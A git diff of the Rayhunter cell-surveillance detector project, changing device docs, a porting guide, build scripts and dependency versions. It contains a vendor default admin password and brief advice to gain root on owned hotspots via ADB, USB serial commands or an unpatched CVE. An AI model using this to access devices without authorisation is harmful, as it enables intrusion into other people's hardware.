./installer util orbic-shell
|
||||||
```
|
```
|
||||||
|
|||||||
+2
-36
@@ -22,10 +22,6 @@ pay more than 30 USD for such a device (without shipping).
|
|||||||
| Wifi 5Ghz | a/ac/ax |
|
| Wifi 5Ghz | a/ac/ax |
|
||||||
| Wifi 6 | 🮱 |
|
| Wifi 6 | 🮱 |
|
||||||
|
|
||||||
## WiFi client mode
|
|
||||||
|
|
||||||
The Orbic's QCA6174 radio supports running the hotspot and connecting to an external WiFi network at the same time. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
|
|
||||||
|
|
||||||
## Two kinds of installers
|
## Two kinds of installers
|
||||||
|
|
||||||
The orbic's installation routine underwent many different changes:
|
The orbic's installation routine underwent many different changes:
|
||||||
@@ -42,41 +38,11 @@ The orbic's installation routine underwent many different changes:
|
|||||||
It's possible that many tutorials out there still refer to some of the old
|
It's possible that many tutorials out there still refer to some of the old
|
||||||
installation routines.
|
installation routines.
|
||||||
|
|
||||||
## Installing
|
|
||||||
|
|
||||||
To get started, follow the [release installation guide](./installing-from-release.md). Then run the installer with the following command:
|
|
||||||
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# For Orbic:
|
|
||||||
./installer orbic --admin-password 'mypassword'
|
|
||||||
|
|
||||||
# For Kajeet/Smartspot:
|
|
||||||
./installer orbic --admin-password '$m@rt$p0tc0nf!g'
|
|
||||||
|
|
||||||
# Note: the arguments --admin-username 'myusername' and --admin-ip 'mydeviceip'
|
|
||||||
# may be required if different from the default.
|
|
||||||
|
|
||||||
# Or install over USB if you want ADB and a root shell (not recommended for most users)
|
|
||||||
./installer orbic-usb
|
|
||||||
```
|
|
||||||
|
|
||||||
* The password is the one used to log in to the device's admin menu. You can reset the password by pressing the button under the back case until the unit restarts.
|
|
||||||
* ***Note:*** If you have changed the device username, password, or IP address from their default values, these must be provided as arguments to the installer command above.
|
|
||||||
* On Verizon Orbic, the default password is the WiFi password.
|
|
||||||
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
|
|
||||||
|
|
||||||
The Rayhunter UI will be available at <http://192.168.1.1:8080>.
|
|
||||||
|
|
||||||
<a name=shell></a>
|
<a name=shell></a>
|
||||||
## Obtaining a shell
|
## Obtaining a shell
|
||||||
|
|
||||||
After running the installer, there will not be a root shell and ADB will not be
|
After running the installer, there will not be a rootshell and ADB will not be
|
||||||
enabled. Instead, you can use:
|
enabled. Instead you can use `./installer util orbic-shell`.
|
||||||
|
|
||||||
```bash
|
|
||||||
./installer util orbic-shell
|
|
||||||
```
|
|
||||||
|
|
||||||
If you are using an installer prior to 0.7.0 or `orbic-usb` explicitly, you can
|
If you are using an installer prior to 0.7.0 or `orbic-usb` explicitly, you can
|
||||||
obtain a root shell by running `adb shell` or `./installer util shell`. Then,
|
obtain a root shell by running `adb shell` or `./installer util shell`. Then,
|
||||||
|
|||||||
@@ -1,88 +0,0 @@
|
|||||||
# Porting to new devices
|
|
||||||
|
|
||||||
## When will we consider new devices?
|
|
||||||
|
|
||||||
Rayhunter is already officially supported on [several devices](./supported-devices.md), and people are often interested in adding support for hardware they already own. Here's a non-exhaustive list of situations where we'd consider adding a new Tier 2 device:
|
|
||||||
|
|
||||||
* The device is significantly cheaper or more available in a specific region than any device we already support.
|
|
||||||
* The device supports 5G and costs less than 100 USD.
|
|
||||||
* You're willing to commit to supporting this device and handling bug reports.
|
|
||||||
* The device has support for all cellular bands and can work in any country.
|
|
||||||
|
|
||||||
We want to avoid a situation where the list of supported devices keeps growing but the number of recurring contributors and maintainers stays the same.
|
|
||||||
|
|
||||||
That said, you can always maintain a fork, or install Rayhunter manually without writing an installer. You can promote this work in the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) area, where most new hardware investigations happen.
|
|
||||||
|
|
||||||
Please don't open issues about supporting a new device, use GitHub discussions instead. Most hardware investigations end up being abandoned, and the amount of issues we'd have to triage would be too much.
|
|
||||||
|
|
||||||
## Prerequisites: root shell, and /dev/diag
|
|
||||||
|
|
||||||
Rayhunter is a Linux binary that reads traffic from the Qualcomm diagnostic interface, which requires root. If either of those isn't available, Rayhunter can't work. Everything else (displays, buttons) is secondary, and we can deal with it later.
|
|
||||||
|
|
||||||
In the devices we currently support `/dev/diag` is the interface for Qualcomm diagnostics and devices with this will be easiest to support. Newer Qualcomm modems expose the diagnostic interface over a USB gadget which is something we are working on support for, but do not currently have. Thus devices with the former diagnostic interface will be easier to port Rayhunter to.
|
|
||||||
|
|
||||||
You can check ahead of purchase whether `/dev/diag` is available by ensuring the device has a Qualcomm MDM* chip. Other Qualcomm LTE chips might work but we haven't encountered one yet. Typically you will be able to get this information from [fcc.report](https://fcc.report), where either the chip is written down in some PDF or at least plainly visible in one of the teardown photos. Sometimes this information can also be found through teardown videos on YouTube. If you find that chip, there's a good chance (but no guarantee) `/dev/diag` is available.
|
|
||||||
|
|
||||||
Any vendor other than Qualcomm (Mediatek, Rockchip, ...) is unlikely to work. Quectel sometimes repackages Qualcomm chips into larger systems and might work. Huawei devices won't work, as they use their own chips.
|
|
||||||
|
|
||||||
Getting a root shell varies from device to device. Check the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) for prior art, and look through the installer source in `installer/src/` for inspiration. These approaches are common:
|
|
||||||
|
|
||||||
* Connecting with `adb shell`.
|
|
||||||
* If `adb shell` doesn't work, sending a special USB serial command might enable it.
|
|
||||||
* Sometimes there's an unpatched CVE that can be used to launch `telnetd` as root (search "device name CVE", the website [opencve.io](https://opencve.io) is particularly easy to use).
|
|
||||||
|
|
||||||
Once you have a root shell, check that `/dev/diag` exists.
|
|
||||||
|
|
||||||
## Installing Rayhunter manually
|
|
||||||
|
|
||||||
The Rayhunter installation consists of just two components: the `rayhunter-daemon` binary, and the config file (`config.toml`).
|
|
||||||
|
|
||||||
Typically the layout on the filesystem will look like this:
|
|
||||||
|
|
||||||
```text
|
|
||||||
/data/rayhunter/rayhunter-daemon
|
|
||||||
/data/rayhunter/config.toml
|
|
||||||
/data/rayhunter/qmdl/
|
|
||||||
```
|
|
||||||
|
|
||||||
Then, `./rayhunter-daemon config.toml` can be started manually.
|
|
||||||
|
|
||||||
You can refer to [Installing from source](./installing-from-source.md) for how to obtain the `rayhunter-daemon` binary.
|
|
||||||
|
|
||||||
We're assuming that your device is ARMv7, i.e. 32-bit ARM (`armv7-unknown-linux-musleabihf`). If that's not the case, you can still build the daemon but you'll need to figure out the correct target triple on your own.
|
|
||||||
|
|
||||||
You can copy the daemon and config files to the device using `netcat` or `adb push`. They don't have to be in `/data/rayhunter/`, this is just convention. If you use a different path, be sure to update the `qmdl_store_path` setting in `config.toml`.
|
|
||||||
|
|
||||||
The `device` setting in `config.toml` must match one of the lowercase variant names from the `Device` enum (e.g. `"orbic"`, `"tplink"`). This controls which display driver is used.
|
|
||||||
|
|
||||||
To bring the daemon up without `/dev/diag` (for instance, to test the display and web UI before the hardware path works), see [Running the daemon on your PC](./installing-from-source.md#running-the-daemon-on-your-pc).
|
|
||||||
|
|
||||||
### Autostart
|
|
||||||
|
|
||||||
To make Rayhunter start on boot, you'll need an init script. The existing installers use the template at `dist/scripts/rayhunter_daemon`, which has a `#RAYHUNTER-PRESTART` placeholder that gets replaced with device-specific setup commands (e.g. killing a vendor UI process, mounting an SD card). Look at how the existing installers handle this in their `install()` functions.
|
|
||||||
|
|
||||||
## Display support
|
|
||||||
|
|
||||||
The `device` setting [mentioned above](#installing-rayhunter-manually) also controls which display driver is loaded (see [`Device` enum in `lib/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/lib/src/lib.rs)). Unless your device is a variant of an existing device, you'll want to add a new variant to the `Device` enum and write a corresponding display module in `daemon/src/display/`.
|
|
||||||
|
|
||||||
You can play around with the existing values of the `device` setting to see which one ends up rendering on your device's display. Most likely your device has a display similar enough to an existing one, and the display module for that device (e.g. `daemon/src/display/orbic.rs`, `daemon/src/display/tplink.rs`) can be used as a starting point.
|
|
||||||
|
|
||||||
If your device has LEDs instead of a display, take a look at `daemon/src/display/uz801.rs` which controls LEDs via sysfs.
|
|
||||||
|
|
||||||
## Button support
|
|
||||||
|
|
||||||
Rayhunter can use the power button to restart recordings via a double-tap gesture. The implementation is in [`daemon/src/key_input.rs`](https://github.com/EFForg/rayhunter/blob/main/daemon/src/key_input.rs). It currently has no structure for device-specific implementations, as all devices we support expose the same input event interface.
|
|
||||||
|
|
||||||
The `key_input_mode` setting in `config.toml` controls this feature (`0` = disabled, `1` = double-tap power button to start/stop recordings).
|
|
||||||
|
|
||||||
## Writing the installer, and contributing official support
|
|
||||||
|
|
||||||
At this point you'll want to have figured out how to automate the entire installation in principle, and how to make it as repeatable as possible. A proof-of-concept of this in bash or another language is also a welcome contribution (to be posted on [GitHub discussions](https://github.com/EFForg/rayhunter/discussions), not as a PR).
|
|
||||||
|
|
||||||
Writing the installer means adding a new variant to the `Command` enum in [`installer/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/lib.rs) and implementing the install logic in a new module under `installer/src/`. Each subcommand maps to a device-specific entry point function (e.g. `tplink::main_tplink`, `orbic_network::install`).
|
|
||||||
|
|
||||||
The installer gets the daemon binary path from `env!("FILE_RAYHUNTER_DAEMON")`, which is set at build time. Config installation is handled by the shared `install_config()` helper in the `connection` module, which writes the config file with the correct device name.
|
|
||||||
|
|
||||||
You must also add a shell utility subcommand under `installer util` (the `UtilSubCommand` enum in `installer/src/lib.rs`), e.g. `installer util tplink-shell`, `installer util orbic-shell`. This is required -- without it, users and developers have no way to interactively debug the device. Depending on connectivity, this might be a telnet session, an ADB shell, or a serial connection. Other utilities (file transfer helpers, etc.) are optional but encouraged. See the existing `UtilSubCommand` variants for examples.
|
|
||||||
|
|
||||||
Please reuse existing utilities wherever possible. Take a look at [`installer/src/tplink.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/tplink.rs) and [`installer/src/orbic_network.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/orbic_network.rs) for inspiration. But the structures there are still evolving, and we'll happily guide you during code review.
|
|
||||||
@@ -30,4 +30,4 @@ Rayhunter is confirmed to work on these devices.
|
|||||||
## Adding new devices
|
## Adding new devices
|
||||||
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
|
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
|
||||||
|
|
||||||
If you have a device in mind which you'd like Rayhunter to support, please read the [porting guide](./porting.md) and [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
|
If you have a device in mind which you'd like Rayhunter to support, please [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
|
||||||
|
|||||||
@@ -1,28 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8" />
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
|
||||||
<meta name="description" content="SwaggerUI" />
|
|
||||||
<title>SwaggerUI</title>
|
|
||||||
<link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui.css" />
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div id="swagger-ui"></div>
|
|
||||||
<script src="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui-bundle.js" crossorigin></script>
|
|
||||||
<script src="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui-standalone-preset.js" crossorigin></script>
|
|
||||||
<script>
|
|
||||||
window.onload = () => {
|
|
||||||
window.ui = SwaggerUIBundle({
|
|
||||||
url: './rayhunter-openapi.json',
|
|
||||||
dom_id: '#swagger-ui',
|
|
||||||
presets: [
|
|
||||||
SwaggerUIBundle.presets.apis,
|
|
||||||
SwaggerUIStandalonePreset
|
|
||||||
],
|
|
||||||
layout: "StandaloneLayout",
|
|
||||||
});
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -36,10 +36,6 @@ According to FCC ID 2APXW-TMOHS1 Test Report No. I20Z61602-WMD02 ([part 1](https
|
|||||||
| 66 | 1700 MHz (E-AWS) |
|
| 66 | 1700 MHz (E-AWS) |
|
||||||
| 71 | 600 MHz (USDD) |
|
| 71 | 600 MHz (USDD) |
|
||||||
|
|
||||||
## WiFi client mode
|
|
||||||
|
|
||||||
The TMOHS1 supports WiFi client mode, allowing Rayhunter to connect to an existing WiFi network while keeping the hotspot running. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
|
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
Connect to the TMOHS1's network over WiFi or USB tethering.
|
Connect to the TMOHS1's network over WiFi or USB tethering.
|
||||||
|
|
||||||
@@ -59,21 +55,6 @@ Then run the installer:
|
|||||||
| Paused | WiFi LED blinks white. |
|
| Paused | WiFi LED blinks white. |
|
||||||
| Warning Detected | Signal LED slowly blinks red. |
|
| Warning Detected | Signal LED slowly blinks red. |
|
||||||
|
|
||||||
## Wi-Fi auto-shutdown
|
|
||||||
|
|
||||||
By default the TMOHS1 turns off its Wi-Fi access point after 10 minutes with no connected clients. Rayhunter keeps recording on the device in the background, but once the access point is down you can't reach the web UI, download captures, or see new warnings until you power cycle the hotspot.
|
|
||||||
|
|
||||||
The TMOHS1's native admin UI lets you change this:
|
|
||||||
|
|
||||||
1. Connect to the TMOHS1's Wi-Fi (or USB tether).
|
|
||||||
2. In a browser open `http://192.168.0.1/` and log in with the admin password.
|
|
||||||
3. Go to **Settings** → **Sleep** → **Wi-Fi Standby** and pick **Always on**.
|
|
||||||
4. Click **Apply**.
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
Keeping Wi-Fi always on uses more battery. If you only monitor Rayhunter through the device's LEDs and don't need remote access, the default 10-minute timer is fine.
|
|
||||||
|
|
||||||
## Obtaining a shell
|
## Obtaining a shell
|
||||||
Even when rayhunter is running, for security reasons the TMOHS1 will not have telnet or adb enabled during normal operation.
|
Even when rayhunter is running, for security reasons the TMOHS1 will not have telnet or adb enabled during normal operation.
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 74 KiB |
+3
-11
@@ -18,8 +18,7 @@ The TP-Link M7350 supports many more frequency bands than Orbic and therefore wo
|
|||||||
|
|
||||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||||
|
|
||||||
* `1.0`, Confirmed working. Successfully tested by a user with the Windows installer (rayhunter-v0.10.2-windows-x86_64). Ensure the SD card is formatted as FAT32 before installation.
|
* `1.0`, `2.0`: **Not supported**, devs are not able to obtain a device
|
||||||
* `2.0`: **Not supported**, devs are not able to obtain a device
|
|
||||||
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.**
|
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: **Tested, no known issues since 0.3.0.**
|
||||||
* `6.2`: **One user reported it is working, not tested**
|
* `6.2`: **One user reported it is working, not tested**
|
||||||
* `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332))
|
* `4.0`: **Manual firmware downgrade required** ([issue](https://github.com/EFForg/rayhunter/issues/332))
|
||||||
@@ -38,17 +37,10 @@ You can get your TP-Link M7350 from:
|
|||||||
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313).
|
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313).
|
||||||
* Can also be found sold as the 'Vodafone Pocket Wifi 5' in Australia
|
* Can also be found sold as the 'Vodafone Pocket Wifi 5' in Australia
|
||||||
|
|
||||||
## Installing
|
## Installation & Usage
|
||||||
|
|
||||||
To get started, follow the [release installation guide](./installing-from-release.md). Then run the installer with the following command:
|
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The Rayhunter UI will be available at <http://192.168.0.1:8080>.
|
||||||
|
|
||||||
```bash
|
|
||||||
./installer tplink
|
|
||||||
```
|
|
||||||
|
|
||||||
The Rayhunter UI will be available at <http://192.168.0.1:8080>.
|
|
||||||
|
|
||||||
<a name=shell></a>
|
|
||||||
## Obtaining a shell
|
## Obtaining a shell
|
||||||
|
|
||||||
You can obtain a root shell with the following command:
|
You can obtain a root shell with the following command:
|
||||||
|
|||||||
@@ -19,8 +19,6 @@ You can access this UI in one of two ways:
|
|||||||
On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||||
On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.
|
On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.
|
||||||
|
|
||||||
If [WiFi client mode](./configuration.md#wifi-client-mode) is enabled, you can also reach the web UI from any device on that network at `http://<device-ip>:8080`.
|
|
||||||
|
|
||||||
* **Connect over USB (Orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit <http://localhost:8080>.
|
* **Connect over USB (Orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit <http://localhost:8080>.
|
||||||
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
||||||
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
||||||
@@ -28,8 +26,6 @@ You can access this UI in one of two ways:
|
|||||||
|
|
||||||
* **Connect over USB (TP-Link):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
|
* **Connect over USB (TP-Link):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
|
||||||
|
|
||||||
> **_NOTE:_** When downloading recordings, "Insecure download blocked" warnings can safely be ignored - this is due to Rayhunter not using HTTPS.
|
|
||||||
|
|
||||||
## Key shortcuts
|
## Key shortcuts
|
||||||
|
|
||||||
As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
|
As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
|
||||||
|
|||||||
@@ -36,12 +36,6 @@ With the device fully booted (i.e. beaming a WiFi network, blue LED, etc.) and p
|
|||||||
|
|
||||||
Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.
|
Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.
|
||||||
|
|
||||||
## WiFi client mode
|
|
||||||
|
|
||||||
The UZ801's WCN36xx (PRONTO) radio supports concurrent AP+STA mode. The daemon has backend support for WiFi client mode on the UZ801, but this has not yet been successfully exercised end-to-end and the web UI currently does not expose the configuration surface on this device. Treat UZ801 WiFi client mode as not yet supported. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for the intended setup on supported devices.
|
|
||||||
|
|
||||||
The interface creation method differs from the Orbic (which uses `iw`): the UZ801 creates a P2P_CLIENT virtual interface via nl80211 and converts it to a managed STATION interface. This is handled by the daemon when the feature is enabled.
|
|
||||||
|
|
||||||
## LED modes
|
## LED modes
|
||||||
| Rayhunter state | LED indicator |
|
| Rayhunter state | LED indicator |
|
||||||
| ---------------- | ------------------- |
|
| ---------------- | ------------------- |
|
||||||
|
|||||||
@@ -28,10 +28,6 @@ Wingtechs are abundant on ebay and can also be found on Amazon:
|
|||||||
- <https://www.ebay.com/itm/127147132518>
|
- <https://www.ebay.com/itm/127147132518>
|
||||||
- <https://www.amazon.com/AT-Turbo-Hotspot-256-Black/dp/B09YWLXVWT>
|
- <https://www.amazon.com/AT-Turbo-Hotspot-256-Black/dp/B09YWLXVWT>
|
||||||
|
|
||||||
## WiFi client mode
|
|
||||||
|
|
||||||
The Wingtech supports WiFi client mode, allowing Rayhunter to connect to an existing WiFi network while keeping the hotspot running. See [WiFi Client Mode](./configuration.md#wifi-client-mode) for setup.
|
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
Connect to the Wingtech's network over WiFi or USB tethering, then run the installer:
|
Connect to the Wingtech's network over WiFi or USB tethering, then run the installer:
|
||||||
|
|
||||||
@@ -54,21 +50,6 @@ telnet 192.168.1.1
|
|||||||
adb shell
|
adb shell
|
||||||
```
|
```
|
||||||
|
|
||||||
## Wi-Fi auto-shutdown
|
|
||||||
|
|
||||||
By default the CT2MHS01 turns off its Wi-Fi access point after the configured sleep timer (default 10 minutes) with no connected clients. Rayhunter keeps recording on the device in the background, but once the access point is down you can't reach the web UI, download captures, or see new warnings until you power cycle the hotspot.
|
|
||||||
|
|
||||||
The CT2MHS01's native admin UI lets you change this:
|
|
||||||
|
|
||||||
1. Connect to the Wingtech's Wi-Fi (or USB tether).
|
|
||||||
2. In a browser open `http://192.168.1.1/` and log in with the admin password.
|
|
||||||
3. Go to **Settings** → **Sleep** → **Wi-Fi Standby** and pick **Always on**.
|
|
||||||
4. Click **Save**.
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
Keeping Wi-Fi always on uses more battery. If you primarily monitor Rayhunter through the device's screen and don't need remote access, leave the timer at its default.
|
|
||||||
|
|
||||||
## Developing
|
## Developing
|
||||||
The device has a framebuffer-driven screen at /dev/fb0 that behaves
|
The device has a framebuffer-driven screen at /dev/fb0 that behaves
|
||||||
similarly to the Orbic RC400L, although the userspace program
|
similarly to the Orbic RC400L, although the userspace program
|
||||||
|
|||||||
Generated
+1634
-825
File diff suppressed because it is too large
Load Diff
+14
-14
@@ -16,27 +16,27 @@
|
|||||||
"tauri": "tauri"
|
"tauri": "tauri"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@tailwindcss/vite": "^4.2.2",
|
"@tailwindcss/vite": "^4.1.16",
|
||||||
"@tauri-apps/api": "^2",
|
"@tauri-apps/api": "^2",
|
||||||
"@tauri-apps/plugin-opener": "^2",
|
"@tauri-apps/plugin-opener": "^2",
|
||||||
"tailwindcss": "^4.1.16"
|
"tailwindcss": "^4.1.16"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@eslint/js": "^10.0.1",
|
"@eslint/js": "^9.38.0",
|
||||||
"@sveltejs/adapter-static": "^3.0.6",
|
"@sveltejs/adapter-static": "^3.0.6",
|
||||||
"@sveltejs/kit": "^2.60.1",
|
"@sveltejs/kit": "^2.50.1",
|
||||||
"@sveltejs/vite-plugin-svelte": "^7.0.0",
|
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||||
"@tauri-apps/cli": "^2",
|
"@tauri-apps/cli": "^2",
|
||||||
"eslint": "^10.2.1",
|
"eslint": "^9.38.0",
|
||||||
"eslint-config-prettier": "^10.1.8",
|
"eslint-config-prettier": "^10.1.8",
|
||||||
"eslint-plugin-svelte": "^3.17.0",
|
"eslint-plugin-svelte": "^3.13.0",
|
||||||
"globals": "^17.5.0",
|
"globals": "^16.4.0",
|
||||||
"prettier": "^3.8.3",
|
"prettier": "^3.6.2",
|
||||||
"prettier-plugin-svelte": "^3.5.1",
|
"prettier-plugin-svelte": "^3.4.0",
|
||||||
"svelte": "^5.55.7",
|
"svelte": "^5.0.0",
|
||||||
"svelte-check": "^4.4.6",
|
"svelte-check": "^4.0.0",
|
||||||
"typescript": "~6.0.3",
|
"typescript": "~5.6.2",
|
||||||
"typescript-eslint": "^8.58.2",
|
"typescript-eslint": "^8.46.2",
|
||||||
"vite": "^8.0.9"
|
"vite": "^6.0.3"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "installer-gui"
|
name = "installer-gui"
|
||||||
version = "0.11.2"
|
version = "0.10.1"
|
||||||
edition = "2024"
|
edition = "2024"
|
||||||
|
|
||||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "installer"
|
name = "installer"
|
||||||
version = "0.11.2"
|
version = "0.10.1"
|
||||||
edition = "2024"
|
edition = "2024"
|
||||||
|
|
||||||
[lib]
|
[lib]
|
||||||
@@ -28,7 +28,7 @@ nusb = "0.1.13"
|
|||||||
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
|
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
|
||||||
serde = { version = "1.0.219", features = ["derive"] }
|
serde = { version = "1.0.219", features = ["derive"] }
|
||||||
sha2 = "0.10.8"
|
sha2 = "0.10.8"
|
||||||
tokio = { version = "1.44.2", features = ["io-util", "io-std", "macros", "rt"], default-features = false }
|
tokio = { version = "1.44.2", features = ["io-util", "macros", "rt"], default-features = false }
|
||||||
tokio-retry2 = "0.5.7"
|
tokio-retry2 = "0.5.7"
|
||||||
tokio-stream = "0.1.17"
|
tokio-stream = "0.1.17"
|
||||||
futures = "0.3"
|
futures = "0.3"
|
||||||
|
|||||||
+18
-34
@@ -1,6 +1,8 @@
|
|||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
|
use std::process::exit;
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
|
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
|
||||||
println!("cargo::rerun-if-env-changed=FIRMWARE_PROFILE");
|
println!("cargo::rerun-if-env-changed=FIRMWARE_PROFILE");
|
||||||
let profile = std::env::var("FIRMWARE_PROFILE").unwrap_or_else(|_| {
|
let profile = std::env::var("FIRMWARE_PROFILE").unwrap_or_else(|_| {
|
||||||
// Default to firmware-devel for debug builds, firmware for release builds
|
// Default to firmware-devel for debug builds, firmware for release builds
|
||||||
@@ -15,46 +17,28 @@ fn main() {
|
|||||||
.join(&profile);
|
.join(&profile);
|
||||||
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
|
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
|
||||||
set_binary_var(&include_dir, "FILE_RAYHUNTER_DAEMON", "rayhunter-daemon");
|
set_binary_var(&include_dir, "FILE_RAYHUNTER_DAEMON", "rayhunter-daemon");
|
||||||
|
|
||||||
let wpa_dir = Path::new(env!("CARGO_MANIFEST_DIR")).join("../tools/build-wpa-supplicant/out");
|
|
||||||
set_binary_var(&wpa_dir, "FILE_WPA_SUPPLICANT", "wpa_supplicant");
|
|
||||||
set_binary_var(&wpa_dir, "FILE_WPA_CLI", "wpa_cli");
|
|
||||||
set_binary_var(&wpa_dir, "FILE_IW", "iw");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
||||||
println!("cargo::rerun-if-env-changed={var}");
|
println!("cargo::rerun-if-env-changed={var}");
|
||||||
if std::env::var_os(var).is_some() {
|
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
|
||||||
|
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||||
|
std::fs::create_dir_all(&out_dir).unwrap();
|
||||||
|
let blank = Path::new(&out_dir).join("blank");
|
||||||
|
std::fs::write(&blank, []).unwrap();
|
||||||
|
println!("cargo::rustc-env={var}={}", blank.display());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
let binary = include_dir.join(file);
|
if std::env::var_os(var).is_none() {
|
||||||
// We need to rerun the build script if the file starts appearing or disappearing, to emit the
|
let binary = include_dir.join(file);
|
||||||
// right warnings and change the envvar's value. We don't really need to rerun the build script
|
println!("cargo::rerun-if-changed={}", binary.display());
|
||||||
// if the file changes contents.
|
if !binary.exists() {
|
||||||
watch_file(&binary);
|
println!(
|
||||||
if binary.exists() {
|
"cargo::error=Firmware binary {file} not present at {}",
|
||||||
|
binary.display()
|
||||||
|
);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
println!("cargo::rustc-env={var}={}", binary.display());
|
println!("cargo::rustc-env={var}={}", binary.display());
|
||||||
} else {
|
|
||||||
println!(
|
|
||||||
"cargo::warning=Firmware binary {file} not present at {}; \
|
|
||||||
installers that need it will fail",
|
|
||||||
binary.display()
|
|
||||||
);
|
|
||||||
println!("cargo::rustc-env={var}=");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Rerun the build script if the file changes or it appears, or disappears.
|
|
||||||
///
|
|
||||||
